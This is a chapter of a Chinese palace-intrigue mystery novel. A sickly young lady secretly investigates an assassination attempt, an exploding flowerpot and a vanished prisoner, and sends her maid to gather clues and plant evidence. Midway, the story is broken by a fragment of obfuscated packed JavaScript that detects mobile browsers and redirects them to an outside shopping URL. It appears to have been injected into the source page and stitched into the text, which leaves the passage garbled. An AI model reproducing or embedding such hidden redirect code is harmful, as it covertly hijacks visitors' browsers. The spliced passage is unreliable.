“……只记得那花盆‘砰’的一声就碎了,然后好像有几道黑影在院子里……晃来晃去……有刀剑的声音……女儿害怕,想叫人,然后就头晕……”林清晚声音细弱,断断续续,说到关键处,便抬手抵着额角,秀眉紧蹙,似是不愿再回想。 赵捕头又问了几句,诸如最近府中可有异常、是否与人结怨、可曾见过可疑人等。林清晚皆是一问三不知,只反复说自己常年卧病,院门都少出,实不知外事。 她的表现,与一个足不出户、骤然受惊的闺秀完全吻合,毫无破绽。 问话间,一名衙役快步进来,在赵捕头耳边低语几句。赵捕头神色微动,对林文修道:“林大人,贼人遗下的两具尸首已初步查验完毕。身上并无表明身份的物件,所用兵刃是制式的狭刃短刀,非军中制式,倒像是……江湖上一些见不得光的杀手组织惯用的。伤口干净利落,皆是一击毙命,凶器应是弯刀一类利刃。另一名昏迷的活口……” 他顿了顿,看了一眼林清晚,见她又露出惧色,便压低声音对林文修道:“方才看守的护卫来报,那活口……不见了。” “什么?!”林文修霍然起身,脸色铁青,“不见了?看守的人是干什么吃的?!” 赵捕头忙道:“大人息怒。据护卫说,柴房门窗完好,锁也未坏,那贼人就像凭空消失了一般。此事……确有蹊跷。下官已命人扩大搜索范围,并询问昨夜所有当值的护院、仆役。” 林文修胸口剧烈起伏,显然气得不轻。活口不翼而飞,这案子就更麻烦了。他挥手让赵捕头继续去查,自己则颓然坐下,揉了揉眉心。 林清晚适时地发出细微的抽泣,将脸埋入手中帕子,肩头轻颤。沈氏在一旁心疼地揽住她,对林文修道:“老爷,晚儿身子弱,经不起这般折腾,让赵捕头先查着吧,妾身先扶她回去歇着。” 林文修疲惫地摆摆手。 沈氏和青杏连忙搀扶着“虚弱不堪”的林清晚回了内室。躺回床上,放下帐幔,隔绝了外间的视线和嘈杂。 帐幔内,林清晚缓缓睁开眼,眼中一片清明。外间,林文修正低声与赵捕头说着什么,语气凝重。赵捕头似乎在建议加强府内戒备,并派人暗中查访近来临安城内的江湖人物动静。 一切,似乎都按照她预想的方向发展。父亲的注意力被引向“江湖仇杀”或“有贼人潜入”,而对她这个“无辜受惊”的女儿,只会更加怜惜和保护。灰衣人的逃脱,虽然蹊跷,但反而坐实了“贼人手段高明”的猜测,不会有人怀疑到一个病弱小姐头上。 只是那盆炸裂的绿萼梅。 林清晚闭上眼。花盆碎片里的透明薄片,那奇异的辛辣气味……绝非普通机关或火药。那是某种混合了特殊药物的、受到特定声波或震动触发便会爆裂的“音爆蛊”残骸。 这种东西,制作极其困难,非精通蛊毒与机关术的大师不能为。林景明,一个在书院读书的少年,从哪里得来的?他又是否知晓其中玄机? 是有人借他之手,将这东西送入清漪院?目标是她,亦或是为了试探什么? 还有昨夜那些黑衣人。他们退走得干脆,显然训练有素,且不愿与官府正面冲突。他们与灰衣人不是一伙,彼此厮杀。那么,灰衣人代表的,是第三方势力? 江寻,黑衣杀手,灰衣神秘人……小小的临安城,何时成了三方势力的角力场?而他们争夺的焦点,似乎若隐若现地,指向了她这座看似平静的清漪院。 胸口又隐隐作痛起来。她伸手,从枕下摸出那个装着碧绿药丸的小瓷瓶,倒出一粒含在舌下。清凉苦涩的药力化开,稍稍缓解了不适。 不能慌,不能乱。越是迷雾重重,越要冷静。 父亲和官府在明处查,她在暗处,反而有更多转圜余地。当务之急,是弄清楚林景明在这件事里,到底扮演了什么角色。 想到这里,她轻轻唤道:“青杏。” “小姐。”青杏一直守在外间,闻言立刻掀开帐幔一角。 “我有些口渴,想喝你昨日新制的梅花露,用那套雨过天青的瓷盏。”林清晚声音低柔,带着病后的沙哑。 青杏愣了一下。昨日新制的梅花露?雨过天青瓷盏?小姐这是……但她很快反应过来,小姐这是在吩咐她,借取梅花露和特定茶具的机会,去探听消息,尤其是关于三少爷那边的。 “是,小姐,奴婢这就去。”青杏会意,应声退下。 林清晚重新合上眼,听着外间渐渐远去的脚步声和低语声,在脑海中细细梳理着昨夜到今晨的每一个细节,每一句话,每一个表情。 蛛丝马迹,往往隐藏在最不起眼的角落。 约莫半个时辰后,青杏回来了。 她端着一个红木托盘,上面果然放着雨过天青釉的茶壶和盏杯,还有一小碟精致点心。她将托盘放在床边小几上,一边倒出清亮微黄的梅花露,一边压低声音,快速说道: “小姐,奴婢去小厨房时,听到两个婆子在悄悄议论,说老爷发了好大的火,把昨夜负责看守柴房的四个护院都打了板子,扣了三个月月钱。赵捕头带着人把柴房里外搜了好几遍,没找到密道,只在那灰衣人躺过的草堆里,发现了一点这个。” 青杏说着,小心翼翼地从袖中取出一个用帕子包着的小东西,递给林清晚。 林清晚接过,打开帕子。里面是一片比指甲还小的、近乎透明的、边缘不规则的薄片,质地非金非玉,入手微凉,在帐内昏暗的光线下,泛着极淡的幽蓝色光泽。 和她之前在爆炸的花盆碎片里发现的那种透明薄片,材质极其相似,只是更小,颜色也略有不同。 “这是在哪里发现的?”林清晚捻起薄片,仔细端详。 “就在草堆最底下,被灰衣人身体压住了,所以一开始没被发现。”青杏道,“赵捕头似乎也很重视这个,拿油纸包了收走了。还有,奴婢回来时,绕路经过听竹轩附近,看到三少爷身边的小厮观墨,在角门那里跟一个脸生的、做小贩打扮的人低声说话,还塞了个小包袱给对方。奴婢没敢靠近,但看那人的身形和走路的姿势,有点像……有点像那天来送绿萼梅盆景的那个小厮。” 林清晚眸光一凝。观墨是林景明从嵩山书院带回来的贴身小厮,很是得力。林景明刚回府不久,他的人就在府外与“送花人”私下接触? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391789|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有,”青杏继续道,“奴婢在回来的路上,遇到了夫人院里的翠缕姐姐,她正要去给夫人回话,说是镇国公夫人又遣人送来了帖子,请夫人和小姐三日后过府赏梅。夫人似乎……有些意动,但说要等老爷和小姐的意思。” 镇国公府——又是他们。在这个节骨眼上,频频示好,是巧合,还是别有用心? 林清晚将那片幽蓝薄片用帕子重新包好,递给青杏:“把这个,和你之前收起来的花盆碎片里那种透明薄片,找机会混在一起,然后‘不小心’让打扫庭院的粗使婆子‘发现’,就落在清理出的碎瓷片堆里。记住,要做得自然,像是原本就在里面,只是之前没留意。” 青杏虽不解其意,但立刻点头:“奴婢明白。” “另外,”林清晚端起梅花露,浅浅啜了一口,甘洌中带着梅香,稍稍润了润干涩的喉咙,“你想办法,让阿橘跑到听竹轩附近去玩。若有人问起,就说它自昨夜受了惊,有些躁动,你看不住。” “是。”青杏眼睛一亮。阿橘机灵,又是个猫儿,到处跑不引人怀疑,说不定能听到或看到什么。 “至于镇国公府的帖子……”林清晚放下茶盏,指尖在光滑的盏壁上轻轻划动,“你去回母亲,就说我昨夜受了惊吓,旧疾似有反复,刘太医叮嘱需绝对静养,不宜出门见风。赏梅之事,只能心领,还请母亲代为婉拒。” “小姐是不想去?”青杏问。 “不是不想,是不能。”林清晚目光微冷,“这个时候,任何与外界的接触,都可能带来不必要的麻烦。尤其是镇国公府。” 沈氏或许只看到门第姻缘,但她却嗅到了一丝不寻常的气息。江寻带来的麻烦未解,府内疑窦丛生,灰衣人逃脱在外,黑衣人虎视眈眈……这种时候,镇国公府的热情,显得过于刻意和急切了。 她必须将所有的危险,都暂时隔绝在清漪院之外,至少,在她弄清楚更多真相之前。 “奴婢懂了,这就去回夫人。”青杏应下,收拾了托盘,悄声退了出去。 帐幔内,又只剩下林清晚一人。她靠坐在床头,指尖无意识地摩挲着腕间的羊脂玉镯。 阿橘不知何时跳上了床,钻进她怀里,找了个舒服的姿势蜷缩起来,发出满足的呼噜声。温热的小身体贴着她,带来一丝真实的暖意。 林清晚轻轻抚摸着它柔软的皮毛,低声道:“阿橘,你说,送你这来的人,现在走到哪里了?她……安全吗?” 阿橘自然无法回答,只是蹭了蹭她的手。 窗外,天色已经大亮。冬日的阳光苍白无力,透过窗纸,在床前地上投下模糊的光斑。 一夜惊变,看似暂时平息。但林清晚知道,这只是暴风雨来临前,短暂而虚假的平静。 花盆碎片里的“音爆蛊”残骸,灰衣人草堆下的幽蓝薄片,林景明小厮与“送花人”的私下接触,镇国公府不合时宜的邀约,还有那枚黑色指环和三日后土地庙之约…… 无数条看似杂乱无章的线索,如同散落的蛛丝,正在冥冥之中,慢慢交织,隐隐指向某个隐藏在重重迷雾之后的巨大蛛网。 而她,似乎正站在蛛网的中央。 是作茧自缚,还是破网而出? 林清晚闭上眼,深深吸了一口气,又缓缓吐出。再睁开时,眼中所有的犹疑、不安、虚弱都已褪去,只剩下冰封般的沉静与决然。 既然避无可避,那便迎上去。 她要主动伸出手,去触碰那些蛛丝,理清脉络,看清隐藏在背后的,究竟是怎样的真相与危机。 为了自保,也为了……那些她必须守护的人和事。 阳光移动,光斑悄然爬上了她的指尖,带来一丝微弱的暖意。 长日方始。